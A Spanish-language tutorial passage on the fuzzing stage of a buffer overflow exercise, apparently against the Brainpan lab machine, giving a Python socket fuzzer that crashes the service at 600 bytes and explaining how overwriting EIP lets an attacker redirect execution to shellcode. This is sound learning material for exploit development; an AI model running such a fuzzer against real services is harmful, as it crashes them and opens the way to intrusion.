# Fuzzing

para empezar la etapa de fuzzing vamos a utilizar un script que nos permite buscar hasta que cantidad de bytes crashea un programa

```
import socket
import time
import sys

ip = "ip aqui"
port = 9999
timeout = 1
prefix = ""
string = prefix + "A" * 100  # Empieza con 100 bytes

while True:
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(timeout)
            s.connect((ip, port))
            s.recv(1024)
            print("Fuzzeando con {} bytes".format(len(string) - len(prefix)))
            s.send(bytes(string, "latin-1"))
            s.recv(1024)
        
        # Aquí aumentamos 100 "A" más en cada iteración
        string += "A" * 100

    except:
        print("Fuzzer ha crasheado en {} bytes".format(len(string) - len(prefix)))
        sys.exit(0)

```

Ahora probamos el script

```
python3 BOFFuzzer.py
```

ira probando bytes de poco a poco hasta ver cuando crashea el servicio

<figure><img src="https://2387787026-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJgLrxGxnGGPpWjuMQyil%2Fuploads%2FvYL5aedumc42O1QLHtDK%2Fimage.png?alt=media&#x26;token=49da4973-3718-4610-80e5-6e0e330c8cce" alt=""><figcaption></figcaption></figure>

vemos que la brainpan ha crasheado despues de 600 bytes

abrimos el immunity debugger y vemos que el EIP marca un numero

<figure><img src="https://2387787026-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJgLrxGxnGGPpWjuMQyil%2Fuploads%2Fgd5SyoH3acm3IkNZEPen%2Fimage.png?alt=media&#x26;token=42c15003-b355-4457-9850-641fd92c9ee5" alt=""><figcaption></figcaption></figure>

`EIP : 41414141`  nos debe marcar este numero &#x20;

{% hint style="info" %}
**EIP (Extended Instruction Pointer)** es un **registro** de la CPU en arquitecturas **x86 de 32 bits**.\
Su función es **contener la dirección de memoria** de **la próxima instrucción que debe ejecutar** el procesador.

* Es un **registro de 32 bits**.
* **No se puede modificar directamente** usando instrucciones normales (por ejemplo, no puedes hacer `MOV EIP, valor`). Solo se cambia automáticamente al ejecutar instrucciones (o mediante trampas como `CALL`, `RET`, `JMP`...).
* Cuando se ejecuta una instrucción, **el EIP se actualiza** para apuntar a la siguiente instrucción.
* Es **esencial para el flujo de ejecución**: cualquier corrupción o control sobre el EIP cambia el comportamiento del programa.

Si un atacante sobrescribe el EIP, puede **redirigir la ejecución** hacia:

* Shellcode (código malicioso inyectado en memoria).

entonces EIP es algo automático de los sistemas operativos para los programas para darle instrucciones del siguiente paso al CPU
{% endhint %}

cuando crasheas el EIP este contiene contenido basura o no valido ya que lo hemos sobreescrito. Por lo que nosotros hacemos el fuzzing y todos esos datos se derraman por la memoria, el CPU trata de usar esos datos basura como dirección (hace un RET, retornar) para ejecutar las instrucciones pero como no existe y da error el programa crashea al detectar el error porque la instrucción que da el CPU no es existente como dirección para el sistema operativo.

Ahora que hemos explotado el EIP necesitamos el Offset : la cantidad de bytes desde el comienzo del buffer hasta que hubo el crash
